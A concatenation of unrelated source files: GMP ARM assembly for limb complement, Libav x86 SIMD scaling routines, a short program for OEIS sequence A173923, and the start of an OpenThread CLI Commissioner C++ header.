dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C cycles/limb
C StrongARM ?
C XScale ?
C Cortex-A7 ?
C Cortex-A8 ?
C Cortex-A9 2.0
C Cortex-A15 1.75
define(`rp', `r0')
define(`up', `r1')
define(`n', `r2')
ASM_START()
PROLOGUE(mpn_com)
tst n, #1
beq L(skip1)
ldr r3, [up], #4
mvn r3, r3
str r3, [rp], #4
L(skip1):
tst n, #2
beq L(skip2)
ldmia up!, { r3, r12 } C load 2 limbs
mvn r3, r3
mvn r12, r12
stmia rp!, { r3, r12 } C store 2 limbs
L(skip2):
bics n, n, #3
beq L(rtn)
stmfd sp!, { r7, r8, r9 } C save regs on stack
L(top): ldmia up!, { r3, r8, r9, r12 } C load 4 limbs
subs n, n, #4
mvn r3, r3
mvn r8, r8
mvn r9, r9
mvn r12, r12
stmia rp!, { r3, r8, r9, r12 } C store 4 limbs
bne L(top)
ldmfd sp!, { r7, r8, r9 } C restore regs from stack
L(rtn): ret lr
EPILOGUE()
|
;******************************************************************************
;* x86-optimized horizontal/vertical line scaling functions
;* Copyright (c) 2011 Ronald S. Bultje <rsbultje@gmail.com>
;* Kieran Kunhya <kieran@kunhya.com>
;*
;* This file is part of Libav.
;*
;* Libav is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Public
;* License as published by the Free Software Foundation; either
;* version 2.1 of the License, or (at your option) any later version.
;*
;* Libav is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;* Lesser General Public License for more details.
;*
;* You should have received a copy of the GNU Lesser General Public
;* License along with Libav; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;******************************************************************************
%include "x86inc.asm"
%include "x86util.asm"
SECTION_RODATA
max_19bit_int: times 4 dd 0x7ffff
max_19bit_flt: times 4 dd 524287.0
minshort: times 8 dw 0x8000
unicoeff: times 4 dd 0x20000000
yuv2yuvX_16_start: times 4 dd 0x4000 - 0x40000000
yuv2yuvX_10_start: times 4 dd 0x10000
yuv2yuvX_9_start: times 4 dd 0x20000
yuv2yuvX_10_upper: times 8 dw 0x3ff
yuv2yuvX_9_upper: times 8 dw 0x1ff
pd_4: times 4 dd 4
pd_4min0x40000:times 4 dd 4 - (0x40000)
pw_16: times 8 dw 16
pw_32: times 8 dw 32
pw_512: times 8 dw 512
pw_1024: times 8 dw 1024
SECTION .text
;-----------------------------------------------------------------------------
; horizontal line scaling
;
; void hscale<source_width>to<intermediate_nbits>_<filterSize>_<opt>
; (SwsContext *c, int{16,32}_t *dst,
; int dstW, const uint{8,16}_t *src,
; const int16_t *filter,
; const int16_t *filterPos, int filterSize);
;
; Scale one horizontal line. Input is either 8-bits width or 16-bits width
; ($source_width can be either 8, 9, 10 or 16, difference is whether we have to
; downscale before multiplying). Filter is 14-bits. Output is either 15bits
; (in int16_t) or 19bits (in int32_t), as given in $intermediate_nbits. Each
; output pixel is generated from $filterSize input pixels, the position of
; the first pixel is given in filterPos[nOutputPixel].
;-----------------------------------------------------------------------------
; SCALE_FUNC source_width, intermediate_nbits, filtersize, filtersuffix, opt, n_args, n_xmm
%macro SCALE_FUNC 7
cglobal hscale%1to%2_%4_%5, %6, 7, %7
%ifdef ARCH_X86_64
movsxd r2, r2d
%endif ; x86-64
%if %2 == 19
%if mmsize == 8 ; mmx
mova m2, [max_19bit_int]
%elifidn %5, sse4
mova m2, [max_19bit_int]
%else ; ssse3/sse2
mova m2, [max_19bit_flt]
%endif ; mmx/sse2/ssse3/sse4
%endif ; %2 == 19
%if %1 == 16
mova m6, [minshort]
mova m7, [unicoeff]
%elif %1 == 8
pxor m3, m3
%endif ; %1 == 8/16
%if %1 == 8
%define movlh movd
%define movbh movh
%define srcmul 1
%else ; %1 == 9-16
%define movlh movq
%define movbh movu
%define srcmul 2
%endif ; %1 == 8/9-16
%ifnidn %3, X
; setup loop
%if %3 == 8
shl r2, 1 ; this allows *16 (i.e. now *8) in lea instructions for the 8-tap filter
%define r2shr 1
%else ; %3 == 4
%define r2shr 0
%endif ; %3 == 8
lea r4, [r4+r2*8]
%if %2 == 15
lea r1, [r1+r2*(2>>r2shr)]
%else ; %2 == 19
lea r1, [r1+r2*(4>>r2shr)]
%endif ; %2 == 15/19
lea r5, [r5+r2*(2>>r2shr)]
neg r2
.loop:
%if %3 == 4 ; filterSize == 4 scaling
; load 2x4 or 4x4 source pixels into m0/m1
movsx r0, word [r5+r2*2+0] ; filterPos[0]
movsx r6, word [r5+r2*2+2] ; filterPos[1]
movlh m0, [r3+r0*srcmul] ; src[filterPos[0] + {0,1,2,3}]
%if mmsize == 8
movlh m1, [r3+r6*srcmul] ; src[filterPos[1] + {0,1,2,3}]
%else ; mmsize == 16
%if %1 > 8
movhps m0, [r3+r6*srcmul] ; src[filterPos[1] + {0,1,2,3}]
%else ; %1 == 8
movd m4, [r3+r6*srcmul] ; src[filterPos[1] + {0,1,2,3}]
%endif
movsx r0, word [r5+r2*2+4] ; filterPos[2]
movsx r6, word [r5+r2*2+6] ; filterPos[3]
movlh m1, [r3+r0*srcmul] ; src[filterPos[2] + {0,1,2,3}]
%if %1 > 8
movhps m1, [r3+r6*srcmul] ; src[filterPos[3] + {0,1,2,3}]
%else ; %1 == 8
movd m5, [r3+r6*srcmul] ; src[filterPos[3] + {0,1,2,3}]
punpckldq m0, m4
punpckldq m1, m5
%endif ; %1 == 8 && %5 <= ssse
%endif ; mmsize == 8/16
%if %1 == 8
punpcklbw m0, m3 ; byte -> word
punpcklbw m1, m3 ; byte -> word
%endif ; %1 == 8
; multiply with filter coefficients
%if %1 == 16 ; pmaddwd needs signed adds, so this moves unsigned -> signed, we'll
; add back 0x8000 * sum(coeffs) after the horizontal add
psubw m0, m6
psubw m1, m6
%endif ; %1 == 16
pmaddwd m0, [r4+r2*8+mmsize*0] ; *= filter[{0,1,..,6,7}]
pmaddwd m1, [r4+r2*8+mmsize*1] ; *= filter[{8,9,..,14,15}]
; add up horizontally (4 srcpix * 4 coefficients -> 1 dstpix)
%if mmsize == 8 ; mmx
movq m4, m0
punpckldq m0, m1
punpckhdq m4, m1
paddd m0, m4
%elifidn %5, sse2
mova m4, m0
shufps m0, m1, 10001000b
shufps m4, m1, 11011101b
paddd m0, m4
%else ; ssse3/sse4
phaddd m0, m1 ; filter[{ 0, 1, 2, 3}]*src[filterPos[0]+{0,1,2,3}],
; filter[{ 4, 5, 6, 7}]*src[filterPos[1]+{0,1,2,3}],
; filter[{ 8, 9,10,11}]*src[filterPos[2]+{0,1,2,3}],
; filter[{12,13,14,15}]*src[filterPos[3]+{0,1,2,3}]
%endif ; mmx/sse2/ssse3/sse4
%else ; %3 == 8, i.e. filterSize == 8 scaling
; load 2x8 or 4x8 source pixels into m0, m1, m4 and m5
movsx r0, word [r5+r2*1+0] ; filterPos[0]
movsx r6, word [r5+r2*1+2] ; filterPos[1]
movbh m0, [r3+ r0 *srcmul] ; src[filterPos[0] + {0,1,2,3,4,5,6,7}]
%if mmsize == 8
movbh m1, [r3+(r0+4)*srcmul] ; src[filterPos[0] + {4,5,6,7}]
movbh m4, [r3+ r6 *srcmul] ; src[filterPos[1] + {0,1,2,3}]
movbh m5, [r3+(r6+4)*srcmul] ; src[filterPos[1] + {4,5,6,7}]
%else ; mmsize == 16
movbh m1, [r3+ r6 *srcmul] ; src[filterPos[1] + {0,1,2,3,4,5,6,7}]
movsx r0, word [r5+r2*1+4] ; filterPos[2]
movsx r6, word [r5+r2*1+6] ; filterPos[3]
movbh m4, [r3+ r0 *srcmul] ; src[filterPos[2] + {0,1,2,3,4,5,6,7}]
movbh m5, [r3+ r6 *srcmul] ; src[filterPos[3] + {0,1,2,3,4,5,6,7}]
%endif ; mmsize == 8/16
%if %1 == 8
punpcklbw m0, m3 ; byte -> word
punpcklbw m1, m3 ; byte -> word
punpcklbw m4, m3 ; byte -> word
punpcklbw m5, m3 ; byte -> word
%endif ; %1 == 8
; multiply
%if %1 == 16 ; pmaddwd needs signed adds, so this moves unsigned -> signed, we'll
; add back 0x8000 * sum(coeffs) after the horizontal add
psubw m0, m6
psubw m1, m6
psubw m4, m6
psubw m5, m6
%endif ; %1 == 16
pmaddwd m0, [r4+r2*8+mmsize*0] ; *= filter[{0,1,..,6,7}]
pmaddwd m1, [r4+r2*8+mmsize*1] ; *= filter[{8,9,..,14,15}]
pmaddwd m4, [r4+r2*8+mmsize*2] ; *= filter[{16,17,..,22,23}]
pmaddwd m5, [r4+r2*8+mmsize*3] ; *= filter[{24,25,..,30,31}]
; add up horizontally (8 srcpix * 8 coefficients -> 1 dstpix)
%if mmsize == 8
paddd m0, m1
paddd m4, m5
movq m1, m0
punpckldq m0, m4
punpckhdq m1, m4
paddd m0, m1
%elifidn %5, sse2
%if %1 == 8
%define mex m6
%else
%define mex m3
%endif
; emulate horizontal add as transpose + vertical add
mova mex, m0
punpckldq m0, m1
punpckhdq mex, m1
paddd m0, mex
mova m1, m4
punpckldq m4, m5
punpckhdq m1, m5
paddd m4, m1
mova m1, m0
punpcklqdq m0, m4
punpckhqdq m1, m4
paddd m0, m1
%else ; ssse3/sse4
; FIXME if we rearrange the filter in pairs of 4, we can
; load pixels likewise and use 2 x paddd + phaddd instead
; of 3 x phaddd here, faster on older cpus
phaddd m0, m1
phaddd m4, m5
phaddd m0, m4 ; filter[{ 0, 1,..., 6, 7}]*src[filterPos[0]+{0,1,...,6,7}],
; filter[{ 8, 9,...,14,15}]*src[filterPos[1]+{0,1,...,6,7}],
; filter[{16,17,...,22,23}]*src[filterPos[2]+{0,1,...,6,7}],
; filter[{24,25,...,30,31}]*src[filterPos[3]+{0,1,...,6,7}]
%endif ; mmx/sse2/ssse3/sse4
%endif ; %3 == 4/8
%else ; %3 == X, i.e. any filterSize scaling
%ifidn %4, X4
%define r6sub 4
%else ; %4 == X || %4 == X8
%define r6sub 0
%endif ; %4 ==/!= X4
%ifdef ARCH_X86_64
push r12
movsxd r6, r6d ; filterSize
lea r12, [r3+(r6-r6sub)*srcmul] ; &src[filterSize&~4]
%define src_reg r11
%define r1x r10
%define filter2 r12
%else ; x86-32
lea r0, [r3+(r6-r6sub)*srcmul] ; &src[filterSize&~4]
mov r6m, r0
%define src_reg r3
%define r1x r1
%define filter2 r6m
%endif ; x86-32/64
lea r5, [r5+r2*2]
%if %2 == 15
lea r1, [r1+r2*2]
%else ; %2 == 19
lea r1, [r1+r2*4]
%endif ; %2 == 15/19
movifnidn r1mp, r1
neg r2
.loop:
movsx r0, word [r5+r2*2+0] ; filterPos[0]
movsx r1x, word [r5+r2*2+2] ; filterPos[1]
; FIXME maybe do 4px/iteration on x86-64 (x86-32 wouldn't have enough regs)?
pxor m4, m4
pxor m5, m5
mov src_reg, r3mp
.innerloop:
; load 2x4 (mmx) or 2x8 (sse) source pixels into m0/m1 -> m4/m5
movbh m0, [src_reg+r0 *srcmul] ; src[filterPos[0] + {0,1,2,3(,4,5,6,7)}]
movbh m1, [src_reg+(r1x+r6sub)*srcmul] ; src[filterPos[1] + {0,1,2,3(,4,5,6,7)}]
%if %1 == 8
punpcklbw m0, m3
punpcklbw m1, m3
%endif ; %1 == 8
; multiply
%if %1 == 16 ; pmaddwd needs signed adds, so this moves unsigned -> signed, we'll
; add back 0x8000 * sum(coeffs) after the horizontal add
psubw m0, m6
psubw m1, m6
%endif ; %1 == 16
pmaddwd m0, [r4 ] ; filter[{0,1,2,3(,4,5,6,7)}]
pmaddwd m1, [r4+(r6+r6sub)*2] ; filter[filtersize+{0,1,2,3(,4,5,6,7)}]
paddd m4, m0
paddd m5, m1
add r4, mmsize
add src_reg, srcmul*mmsize/2
cmp src_reg, filter2 ; while (src += 4) < &src[filterSize]
jl .innerloop
%ifidn %4, X4
movsx r1x, word [r5+r2*2+2] ; filterPos[1]
movlh m0, [src_reg+r0 *srcmul] ; split last 4 srcpx of dstpx[0]
sub r1x, r6 ; and first 4 srcpx of dstpx[1]
%if %1 > 8
movhps m0, [src_reg+(r1x+r6sub)*srcmul]
%else ; %1 == 8
movd m1, [src_reg+(r1x+r6sub)*srcmul]
punpckldq m0, m1
%endif ; %1 == 8 && %5 <= ssse
%if %1 == 8
punpcklbw m0, m3
%endif ; %1 == 8
%if %1 == 16 ; pmaddwd needs signed adds, so this moves unsigned -> signed, we'll
; add back 0x8000 * sum(coeffs) after the horizontal add
psubw m0, m6
%endif ; %1 == 16
pmaddwd m0, [r4]
%endif ; %4 == X4
lea r4, [r4+(r6+r6sub)*2]
%if mmsize == 8 ; mmx
movq m0, m4
punpckldq m4, m5
punpckhdq m0, m5
paddd m0, m4
%else ; mmsize == 16
%ifidn %5, sse2
mova m1, m4
punpcklqdq m4, m5
punpckhqdq m1, m5
paddd m4, m1
%else ; ssse3/sse4
phaddd m4, m5
%endif ; sse2/ssse3/sse4
%ifidn %4, X4
paddd m4, m0
%endif ; %3 == X4
%ifidn %5, sse2
pshufd m4, m4, 11011000b
movhlps m0, m4
paddd m0, m4
%else ; ssse3/sse4
phaddd m4, m4
SWAP 0, 4
%endif ; sse2/ssse3/sse4
%endif ; mmsize == 8/16
%endif ; %3 ==/!= X
%if %1 == 16 ; add 0x8000 * sum(coeffs), i.e. back from signed -> unsigned
paddd m0, m7
%endif ; %1 == 16
; clip, store
psrad m0, 14 + %1 - %2
%ifidn %3, X
movifnidn r1, r1mp
%endif ; %3 == X
%if %2 == 15
packssdw m0, m0
%ifnidn %3, X
movh [r1+r2*(2>>r2shr)], m0
%else ; %3 == X
movd [r1+r2*2], m0
%endif ; %3 ==/!= X
%else ; %2 == 19
%if mmsize == 8
PMINSD_MMX m0, m2, m4
%elifidn %5, sse4
pminsd m0, m2
%else ; sse2/ssse3
cvtdq2ps m0, m0
minps m0, m2
cvtps2dq m0, m0
%endif ; mmx/sse2/ssse3/sse4
%ifnidn %3, X
mova [r1+r2*(4>>r2shr)], m0
%else ; %3 == X
movq [r1+r2*4], m0
%endif ; %3 ==/!= X
%endif ; %2 == 15/19
%ifnidn %3, X
add r2, (mmsize<<r2shr)/4 ; both 8tap and 4tap really only do 4 pixels (or for mmx: 2 pixels)
; per iteration. see "shl r2,1" above as for why we do this
%else ; %3 == X
add r2, 2
%endif ; %3 ==/!= X
jl .loop
%ifnidn %3, X
REP_RET
%else ; %3 == X
%ifdef ARCH_X86_64
pop r12
RET
%else ; x86-32
REP_RET
%endif ; x86-32/64
%endif ; %3 ==/!= X
%endmacro
; SCALE_FUNCS source_width, intermediate_nbits, opt, n_xmm
%macro SCALE_FUNCS 4
SCALE_FUNC %1, %2, 4, 4, %3, 6, %4
SCALE_FUNC %1, %2, 8, 8, %3, 6, %4
%if mmsize == 8
SCALE_FUNC %1, %2, X, X, %3, 7, %4
%else
SCALE_FUNC %1, %2, X, X4, %3, 7, %4
SCALE_FUNC %1, %2, X, X8, %3, 7, %4
%endif
%endmacro
; SCALE_FUNCS2 opt, 8_xmm_args, 9to10_xmm_args, 16_xmm_args
%macro SCALE_FUNCS2 4
%ifnidn %1, sse4
SCALE_FUNCS 8, 15, %1, %2
SCALE_FUNCS 9, 15, %1, %3
SCALE_FUNCS 10, 15, %1, %3
SCALE_FUNCS 14, 15, %1, %3
SCALE_FUNCS 16, 15, %1, %4
%endif ; !sse4
SCALE_FUNCS 8, 19, %1, %2
SCALE_FUNCS 9, 19, %1, %3
SCALE_FUNCS 10, 19, %1, %3
SCALE_FUNCS 14, 19, %1, %3
SCALE_FUNCS 16, 19, %1, %4
%endmacro
%ifdef ARCH_X86_32
INIT_MMX
SCALE_FUNCS2 mmx, 0, 0, 0
%endif
INIT_XMM
SCALE_FUNCS2 sse2, 6, 7, 8
SCALE_FUNCS2 ssse3, 6, 6, 8
SCALE_FUNCS2 sse4, 6, 6, 8
;-----------------------------------------------------------------------------
; vertical line scaling
;
; void yuv2plane1_<output_size>_<opt>(const int16_t *src, uint8_t *dst, int dstW,
; const uint8_t *dither, int offset)
; and
; void yuv2planeX_<output_size>_<opt>(const int16_t *filter, int filterSize,
; const int16_t **src, uint8_t *dst, int dstW,
; const uint8_t *dither, int offset)
;
; Scale one or $filterSize lines of source data to generate one line of output
; data. The input is 15-bit in int16_t if $output_size is [8,10] and 19-bit in
; int32_t if $output_size is 16. $filter is 12-bits. $filterSize is a multiple
; of 2. $offset is either 0 or 3. $dither holds 8 values.
;-----------------------------------------------------------------------------
%macro yuv2planeX_fn 4
%ifdef ARCH_X86_32
%define cntr_reg r1
%define movsx mov
%else
%define cntr_reg r11
%define movsx movsxd
%endif
cglobal yuv2planeX_%2_%1, %4, 7, %3
%if %2 == 8 || %2 == 9 || %2 == 10
pxor m6, m6
%endif ; %2 == 8/9/10
%if %2 == 8
%ifdef ARCH_X86_32
%assign pad 0x2c - (stack_offset & 15)
SUB rsp, pad
%define m_dith m7
%else ; x86-64
%define m_dith m9
%endif ; x86-32
; create registers holding dither
movq m_dith, [r5] ; dither
test r6d, r6d
jz .no_rot
%if mmsize == 16
punpcklqdq m_dith, m_dith
%endif ; mmsize == 16
PALIGNR m_dith, m_dith, 3, m0
.no_rot:
%if mmsize == 16
punpcklbw m_dith, m6
%ifdef ARCH_X86_64
punpcklwd m8, m_dith, m6
pslld m8, 12
%else ; x86-32
punpcklwd m5, m_dith, m6
pslld m5, 12
%endif ; x86-32/64
punpckhwd m_dith, m6
pslld m_dith, 12
%ifdef ARCH_X86_32
mova [rsp+ 0], m5
mova [rsp+16], m_dith
%endif
%else ; mmsize == 8
punpcklbw m5, m_dith, m6
punpckhbw m_dith, m6
punpcklwd m4, m5, m6
punpckhwd m5, m6
punpcklwd m3, m_dith, m6
punpckhwd m_dith, m6
pslld m4, 12
pslld m5, 12
pslld m3, 12
pslld m_dith, 12
mova [rsp+ 0], m4
mova [rsp+ 8], m5
mova [rsp+16], m3
mova [rsp+24], m_dith
%endif ; mmsize == 8/16
%endif ; %2 == 8
xor r5, r5
.pixelloop:
%assign %%i 0
; the rep here is for the 8bit output mmx case, where dither covers
; 8 pixels but we can only handle 2 pixels per register, and thus 4
; pixels per iteration. In order to not have to keep track of where
; we are w.r.t. dithering, we unroll the mmx/8bit loop x2.
%if %2 == 8
%rep 16/mmsize
%endif ; %2 == 8
%if %2 == 8
%ifdef ARCH_X86_32
mova m2, [rsp+mmsize*(0+%%i)]
mova m1, [rsp+mmsize*(1+%%i)]
%else ; x86-64
mova m2, m8
mova m1, m_dith
%endif ; x86-32/64
%else ; %2 == 9/10/16
mova m1, [yuv2yuvX_%2_start]
mova m2, m1
%endif ; %2 == 8/9/10/16
movsx cntr_reg, r1m
.filterloop_ %+ %%i:
; input pixels
mov r6, [r2+gprsize*cntr_reg-2*gprsize]
%if %2 == 16
mova m3, [r6+r5*4]
mova m5, [r6+r5*4+mmsize]
%else ; %2 == 8/9/10
mova m3, [r6+r5*2]
%endif ; %2 == 8/9/10/16
mov r6, [r2+gprsize*cntr_reg-gprsize]
%if %2 == 16
mova m4, [r6+r5*4]
mova m6, [r6+r5*4+mmsize]
%else ; %2 == 8/9/10
mova m4, [r6+r5*2]
%endif ; %2 == 8/9/10/16
; coefficients
movd m0, [r0+2*cntr_reg-4]; coeff[0], coeff[1]
%if %2 == 16
pshuflw m7, m0, 0 ; coeff[0]
pshuflw m0, m0, 0x55 ; coeff[1]
pmovsxwd m7, m7 ; word -> dword
pmovsxwd m0, m0 ; word -> dword
pmulld m3, m7
pmulld m5, m7
pmulld m4, m0
pmulld m6, m0
paddd m2, m3
paddd m1, m5
paddd m2, m4
paddd m1, m6
%else ; %2 == 10/9/8
punpcklwd m5, m3, m4
punpckhwd m3, m4
SPLATD m0, m0
pmaddwd m5, m0
pmaddwd m3, m0
paddd m2, m5
paddd m1, m3
%endif ; %2 == 8/9/10/16
sub cntr_reg, 2
jg .filterloop_ %+ %%i
%if %2 == 16
psrad m2, 31 - %2
psrad m1, 31 - %2
%else ; %2 == 10/9/8
psrad m2, 27 - %2
psrad m1, 27 - %2
%endif ; %2 == 8/9/10/16
%if %2 == 8
packssdw m2, m1
packuswb m2, m2
movh [r3+r5*1], m2
%else ; %2 == 9/10/16
%if %2 == 16
packssdw m2, m1
paddw m2, [minshort]
%else ; %2 == 9/10
%ifidn %1, sse4
packusdw m2, m1
%elifidn %1, avx
packusdw m2, m1
%else ; mmx2/sse2
packssdw m2, m1
pmaxsw m2, m6
%endif ; mmx2/sse2/sse4/avx
pminsw m2, [yuv2yuvX_%2_upper]
%endif ; %2 == 9/10/16
mova [r3+r5*2], m2
%endif ; %2 == 8/9/10/16
add r5, mmsize/2
sub r4d, mmsize/2
%if %2 == 8
%assign %%i %%i+2
%endrep
%endif ; %2 == 8
jg .pixelloop
%if %2 == 8
%ifdef ARCH_X86_32
ADD rsp, pad
RET
%else ; x86-64
REP_RET
%endif ; x86-32/64
%else ; %2 == 9/10/16
REP_RET
%endif ; %2 == 8/9/10/16
%endmacro
%define PALIGNR PALIGNR_MMX
%ifdef ARCH_X86_32
INIT_MMX
yuv2planeX_fn mmx, 8, 0, 7
yuv2planeX_fn mmx2, 9, 0, 5
yuv2planeX_fn mmx2, 10, 0, 5
%endif
INIT_XMM
yuv2planeX_fn sse2, 8, 10, 7
yuv2planeX_fn sse2, 9, 7, 5
yuv2planeX_fn sse2, 10, 7, 5
%define PALIGNR PALIGNR_SSSE3
yuv2planeX_fn sse4, 8, 10, 7
yuv2planeX_fn sse4, 9, 7, 5
yuv2planeX_fn sse4, 10, 7, 5
yuv2planeX_fn sse4, 16, 8, 5
INIT_AVX
yuv2planeX_fn avx, 8, 10, 7
yuv2planeX_fn avx, 9, 7, 5
yuv2planeX_fn avx, 10, 7, 5
; %1=outout-bpc, %2=alignment (u/a)
%macro yuv2plane1_mainloop 2
.loop_%2:
%if %1 == 8
paddsw m0, m2, [r0+r2*2+mmsize*0]
paddsw m1, m3, [r0+r2*2+mmsize*1]
psraw m0, 7
psraw m1, 7
packuswb m0, m1
mov%2 [r1+r2], m0
%elif %1 == 16
paddd m0, m4, [r0+r2*4+mmsize*0]
paddd m1, m4, [r0+r2*4+mmsize*1]
paddd m2, m4, [r0+r2*4+mmsize*2]
paddd m3, m4, [r0+r2*4+mmsize*3]
psrad m0, 3
psrad m1, 3
psrad m2, 3
psrad m3, 3
%if cpuflag(sse4) ; avx/sse4
packusdw m0, m1
packusdw m2, m3
%else ; mmx/sse2
packssdw m0, m1
packssdw m2, m3
paddw m0, m5
paddw m2, m5
%endif ; mmx/sse2/sse4/avx
mov%2 [r1+r2*2], m0
mov%2 [r1+r2*2+mmsize], m2
%else
paddsw m0, m2, [r0+r2*2+mmsize*0]
paddsw m1, m2, [r0+r2*2+mmsize*1]
psraw m0, 15 - %1
psraw m1, 15 - %1
pmaxsw m0, m4
pmaxsw m1, m4
pminsw m0, m3
pminsw m1, m3
mov%2 [r1+r2*2], m0
mov%2 [r1+r2*2+mmsize], m1
%endif
add r2, mmsize
jl .loop_%2
%endmacro
%macro yuv2plane1_fn 3
cglobal yuv2plane1_%1, %3, %3, %2
add r2, mmsize - 1
and r2, ~(mmsize - 1)
%if %1 == 8
add r1, r2
%else ; %1 != 8
lea r1, [r1+r2*2]
%endif ; %1 == 8
%if %1 == 16
lea r0, [r0+r2*4]
%else ; %1 != 16
lea r0, [r0+r2*2]
%endif ; %1 == 16
neg r2
%if %1 == 8
pxor m4, m4 ; zero
; create registers holding dither
movq m3, [r3] ; dither
test r4d, r4d
jz .no_rot
%if mmsize == 16
punpcklqdq m3, m3
%endif ; mmsize == 16
PALIGNR_MMX m3, m3, 3, m2
.no_rot:
%if mmsize == 8
mova m2, m3
punpckhbw m3, m4 ; byte->word
punpcklbw m2, m4 ; byte->word
%else
punpcklbw m3, m4
mova m2, m3
%endif
%elif %1 == 9
pxor m4, m4
mova m3, [pw_512]
mova m2, [pw_32]
%elif %1 == 10
pxor m4, m4
mova m3, [pw_1024]
mova m2, [pw_16]
%else ; %1 == 16
%if cpuflag(sse4) ; sse4/avx
mova m4, [pd_4]
%else ; mmx/sse2
mova m4, [pd_4min0x40000]
mova m5, [minshort]
%endif ; mmx/sse2/sse4/avx
%endif ; %1 == ..
; actual pixel scaling
%if mmsize == 8
yuv2plane1_mainloop %1, a
%else ; mmsize == 16
test r1, 15
jnz .unaligned
yuv2plane1_mainloop %1, a
REP_RET
.unaligned:
yuv2plane1_mainloop %1, u
%endif ; mmsize == 8/16
REP_RET
%endmacro
%ifdef ARCH_X86_32
INIT_MMX mmx
yuv2plane1_fn 8, 0, 5
yuv2plane1_fn 16, 0, 3
INIT_MMX mmx2
yuv2plane1_fn 9, 0, 3
yuv2plane1_fn 10, 0, 3
%endif
INIT_XMM sse2
yuv2plane1_fn 8, 5, 5
yuv2plane1_fn 9, 5, 3
yuv2plane1_fn 10, 5, 3
yuv2plane1_fn 16, 6, 3
INIT_XMM sse4
yuv2plane1_fn 16, 5, 3
INIT_XMM avx
yuv2plane1_fn 8, 5, 5
yuv2plane1_fn 9, 5, 3
yuv2plane1_fn 10, 5, 3
yuv2plane1_fn 16, 5, 3
|
; A173923: In the sequence of nonnegative integers substitute all n by 2^floor(n/8) occurrences of (n mod 2).
; 0,1,0,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0
add $0,1
lpb $0,1
sub $0,1
mov $1,$0
sub $0,6
trn $0,1
add $0,1
div $0,2
gcd $1,2
mov $2,1
mov $4,2
lpe
mul $2,2
mov $3,$2
sub $4,$1
mul $3,$4
add $1,$3
sub $1,2
|
/*
* Copyright (c) 2019, The OpenThread Authors.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the copyright holder nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/**
* @file
* This file contains definitions for a simple CLI to control the Commissioner role.
*/
#ifndef CLI_COMMISSIONER_HPP_
#define CLI_COMMISSIONER_HPP_
#include "openthread-core-config.h"
#include <openthread/commissioner.h>
#include "utils/lookup_table.hpp"
#if OPENTHREAD_CONFIG_COMMISSIONER_ENABLE && OPENTHREAD_FTD
namespace ot {
namespace Cli {
class Interpreter;
/**
* This class implements the CLI CoAP Secure server and client.
*
*/
class Commissioner
{
public:
/**
* Constructor
*
* @param[in] aInterpreter The CLI interpreter.
*
*/
explicit Commissioner(Interpreter &aInterpreter)
: mInterpreter(aInterpreter)
{
}
/**
* This method interprets a list of CLI arguments.
*
* @param[in] aArgsLength The number of elements in @p aArgs.
* @param[in] aArgs An array of command line arguments.
*
*/
otError Process(uint8_t aArgsLength, char *aArgs[]);
private:
enum
{
kDefaultJoinerTimeout = 120, ///< Default timeout for Joiners, in seconds.
};
struct Command
{
const char *mName;
otError (Commissioner::*mHandler)(uint8_t aArgsLength, char *aArgs[]);
};
otError ProcessHelp(uint8_t aArgsLength, char *aArgs[]);
otError ProcessAnnounce(uint8_t aArgsLength, char *aArgs[]);
otError ProcessEnergy(uint8_t aArgsLength, char *aArgs[]);
otError ProcessJoiner(uint8_t aArgsLength, char *aArgs[]);
otError ProcessMgmtGet(uint8_t aArgsLength, char *aArgs[]);
otError ProcessMgmtSet(uint8_t aArgsLength, char *aArgs[]);
otError ProcessPanId(uint8_t aArgsLength, char *aArgs[]);
otError ProcessProvisioningUrl(uint8_t aArgsLength, char *aArgs[]);
otError ProcessSessionId(uint8_t aArgsLength, char *aArgs[]);
otError ProcessStart(uint8_t aArgsLength, char *aArgs[]);
otError ProcessState(uint8_t aArgsLength, char *aArgs[]);
otError ProcessStop(uint8_t aArgsLength, char *aArgs[]);
static void HandleStateChanged(otCommissionerState aState, void *aContext);
void HandleStateChanged(otCommissionerState aState);
